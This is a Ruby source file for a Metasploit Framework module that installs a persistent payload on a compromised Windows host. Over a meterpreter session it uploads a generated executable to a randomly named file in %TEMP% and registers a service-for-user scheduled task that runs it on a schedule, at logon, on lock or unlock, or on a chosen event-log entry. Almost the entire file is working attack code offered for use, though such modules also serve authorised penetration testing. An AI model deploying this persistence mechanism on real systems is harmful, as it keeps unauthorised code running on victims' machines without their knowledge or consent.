##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Post::Windows::Priv
	include Exploit::EXE

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Manage User Level Persistent Payload Installer',
			'Description'   => %q{
				Creates a scheduled task that will run using service-for-user (S4U).
				This allows the scheduled task to run even as an unprivileged user
				that is not logged into the device. This will result in lower security
				context, allowing access to local resources only. The module
				requires 'Logon as a batch job' permissions (SeBatchLogonRight).
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
					'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
				],
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'Targets'       => [ [ 'Windows', {} ] ],
			'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post
			'DefaultTarget' => 0,
			'References'     => [
				[ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ],
				[ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ]
			]
		))

		register_options(
			[
				OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),
				OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', '0']),
				OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['event', 'lock', 'logon', 'schedule', 'unlock']]),
				OptString.new('REXENAME', [false, 'Name of exe on remote system']),
				OptString.new('RTASKNAME', [false, 'Name of task on remote system']),
				OptString.new('PATH', [false, 'PATH to write payload', '%TEMP%'])
			], self.class)

		register_advanced_options(
			[
				OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),
				OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),
				OptString.new('XPATH', [false, 'XPath query'])
			], self.class)
	end

	def exploit
		if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
			fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above")
		end

		if datastore['TRIGGER'] == "event"
			if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil?
				print_status("The properties of any event in the event viewer will contain this information")
				fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event")
			end
		end

		# Generate payload
		payload = generate_payload_exe

		# Generate remote executable name
		rexename = generate_rexename

		# Generate path names
		xml_path,rexe_path = generate_path(rexename)

		# Upload REXE to victim fs
		upload_rexe(rexe_path, payload)

		# Create basic XML outline
		xml = create_xml(rexe_path)

		# Fix XML based on trigger
		xml = add_xml_triggers(xml)

		# Write XML to victim fs, if fail clean up
		write_xml(xml, xml_path, rexe_path)

		# Name task with Opt or give random name
		schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6))

		# Create task with modified XML
		create_task(xml_path, schname, rexe_path)
	end

	##############################################################
	# Generate name for payload
	# Returns name
	def generate_rexename
		rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
		if not rexename =~ /\.exe$/
			print_warning("#{datastore['REXENAME']} isn't an exe")
		end
		return rexename
	end

	##############################################################
	# Generate Path for payload upload
	# Returns path for XML and payload
	def generate_path(rexename)
		# Generate a path to write payload and XML
		path = datastore['PATH'] || expand_path("%TEMP%")
		xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml"
		rexe_path = "#{path}\\#{rexename}"
		return xml_path,rexe_path
	end

	##############################################################
	# Upload the executable payload
	# Returns boolean for success
	def upload_rexe(path, payload)
		vprint_status("Uploading #{path}")

		if file? path
			fail_with(Exploit::Failure::Unknown, "File #{path} already exists... Exiting")
		end

		begin
			write_file(path, payload)
		rescue => e
			fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}")
		end

		print_status("Successfully uploaded remote executable to #{path}")
	end

	##############################################################
	# Creates a scheduled task, exports as XML, deletes task
	# Returns normal XML for generic task
	def create_xml(rexe_path)
		xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence.xml")
		xml_file = File.new(xml_path,"r")
		xml = xml_file.read
		xml_file.close

		# Get local time, not system time from victim machine
		begin
			vt = client.railgun.kernel32.GetLocalTime(32)
			ut = vt['lpSystemTime'].unpack("v*")
			t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
		rescue
			print_warning("Could not read system time from victim... Using your local time to determine creation date")
			t = ::Time.now
		end
		date = t.strftime("%Y-%m-%d")
		time = t.strftime("%H:%M:%S")

		# Put in correct times
		xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")

		domain, user = client.sys.config.getuid.split('\\')

		# Put in user information
		xml = xml.sub(/DOMAINHERE/, user)
		xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")

		xml = xml.sub(/COMMANDHERE/, rexe_path)
		return xml
	end

	##############################################################
	# Takes the XML, alters it based on trigger specified. Will also
	# add in expiration tag if used.
	# Returns the modified XML
	def add_xml_triggers(xml)
		# Insert trigger
		case datastore['TRIGGER']
			when 'logon'
				# Trigger based on winlogon event, checks windows license key after logon
				print_status("This trigger triggers on event 4101 which validates the Windows license")
				line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
				xml = create_trigger_event_tags("Application", line, xml)

			when 'lock'
				xml = create_trigger_tags("SessionLock", xml)

			when 'unlock'
				xml = create_trigger_tags("SessionUnlock", xml)

			when 'event'
				line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
				if not datastore['XPATH'].nil? and not datastore['XPATH'].empty?
					# Append xpath queries
					line << " and #{datastore['XPATH']}"
					# Print XPath query, useful to user to spot issues with uncommented single quotes
					print_status("XPath query: #{line}")
				end

				xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml)

			when 'schedule'
				# Change interval tag, insert into XML
				if datastore['FREQUENCY'] != 0
					minutes = datastore['FREQUENCY']
				else
					print_status("Defaulting frequency to every hour")
					minutes = 60
				end
				xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")

				# Insert expire tag if not 0
				unless datastore['EXPIRE_TIME'] == 0
					# Generate expire tag
					end_boundary = create_expire_tag
					# Inject expire tag
					insert = xml.index("</StartBoundary>")
					xml.insert(insert + 16, "\n      #{end_boundary}")
				end
		end
		return xml
	end

	##############################################################
	# Creates end boundary tag which expires the trigger
	# Returns XML for expire
	def create_expire_tag()
		# Get local time, not system time from victim machine
		begin
			vt = client.railgun.kernel32.GetLocalTime(32)
			ut = vt['lpSystemTime'].unpack("v*")
			t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
		rescue
			print_error("Could not read system time from victim... Using your local time to determine expire date")
			t = ::Time.now
		end

		# Create time object to add expire time to and create tag
		t = t + (datastore['EXPIRE_TIME'] * 60)
		date = t.strftime("%Y-%m-%d")
		time = t.strftime("%H:%M:%S")
		end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
		return end_boundary
	end

	##############################################################
	# Creates trigger XML for session state triggers and replaces
	# the time trigger.
	# Returns altered XML
	def create_trigger_tags(trig, xml)
		domain, user = client.sys.config.getuid.split('\\')

		# Create session state trigger, weird spacing used to maintain
		# natural Winadows spacing for XML export
		temp_xml = "<SessionStateChangeTrigger>\n"
		temp_xml << "      #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0
		temp_xml << "      <Enabled>true</Enabled>\n"
		temp_xml << "      <StateChange>#{trig}</StateChange>\n"
		temp_xml << "      <UserId>#{domain}\\#{user}</UserId>\n"
		temp_xml << "    </SessionStateChangeTrigger>"

		xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)

		return xml
	end

	##############################################################
	# Creates trigger XML for event based triggers and replaces
	# the time trigger.
	# Returns altered XML
	def create_trigger_event_tags(log, line, xml)
		# Fscked up XML syntax for windows event #{id} in #{log}, weird spacind
		# used to maintain natural Windows spacing for XML export
		temp_xml = "<EventTrigger>\n"
		temp_xml << "      #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
		temp_xml << "      <Enabled>true</Enabled>\n"
		temp_xml << "      <Subscription>&lt;QueryList&gt;&lt;Query Id=\"0\" "
		temp_xml << "Path=\"#{log}\"&gt;&lt;Select Path=\"#{log}\"&gt;"
		temp_xml << line
		temp_xml << "&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;"
		temp_xml << "</Subscription>\n"
		temp_xml << "    </EventTrigger>"

		xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
		return xml
	end

	##############################################################
	# Takes the XML and a path and writes file to filesystem
	# Returns boolean for success
	def write_xml(xml, path, rexe_path)
		if file? path
			delete_file(rexe_path)
			fail_with(Exploit::Failure::Unknown, "File #{path} already exists... Exiting")
		end
		begin
			write_file(path, xml)
		rescue
			delete_file(rexe_path)
			fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}")
		end
		print_status("Successfully wrote XML file to #{path}")
	end

	##############################################################
	# Takes path and delete file
	# Returns boolean for success
	def delete_file(path)
		begin
			file_rm(path)
		rescue
			print_warning("Could not delete file #{path}, delete manually")
		end
	end

	##############################################################
	# Takes path and name for task and creates final task
	# Returns boolean for success
	def create_task(path, schname, rexe_path)
		# create task using XML file on victim fs
		create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
		if create_task_response =~ /has successfully been created/
			print_good("Persistence task #{schname} created successfully")

			# Create to delete commands for exe and task
			del_task = "schtasks /delete /tn \"#{schname}\" /f"
			print_status("#{"To delete task:".ljust(20)} #{del_task}")
			print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}")
			del_task << "\ndel #{rexe_path}"

			# Delete XML from victim
			delete_file(path)

			# Save info to notes DB
			report_note(:host => session.session_host,
			:type => "host.s4u_persistance.cleanup",
			:data => {
				:session_num => session.sid,
				:stype => session.type,
				:desc => session.info,
				:platform => session.platform,
				:via_payload => session.via_payload,
				:via_exploit => session.via_exploit,
				:created_at => Time.now.utc,
				:delete_commands =>  del_task
				}
			)
		elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
			# Clean up
			delete_file(rexe_path)
			delete_file(path)
			error = "The scheduled task name is already in use"
			fail_with(Exploit::Failure::Unknown, error)
		else
			error = "Issues creating task using XML file schtasks"
			vprint_error("Error: #{create_task_response}")
			if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event"
				print_warning("Security log can restricted by UAC, try a different trigger")
			end
			# Clean up
			delete_file(rexe_path)
			delete_file(path)
			fail_with(Exploit::Failure::Unknown, error)
		end
	end
end
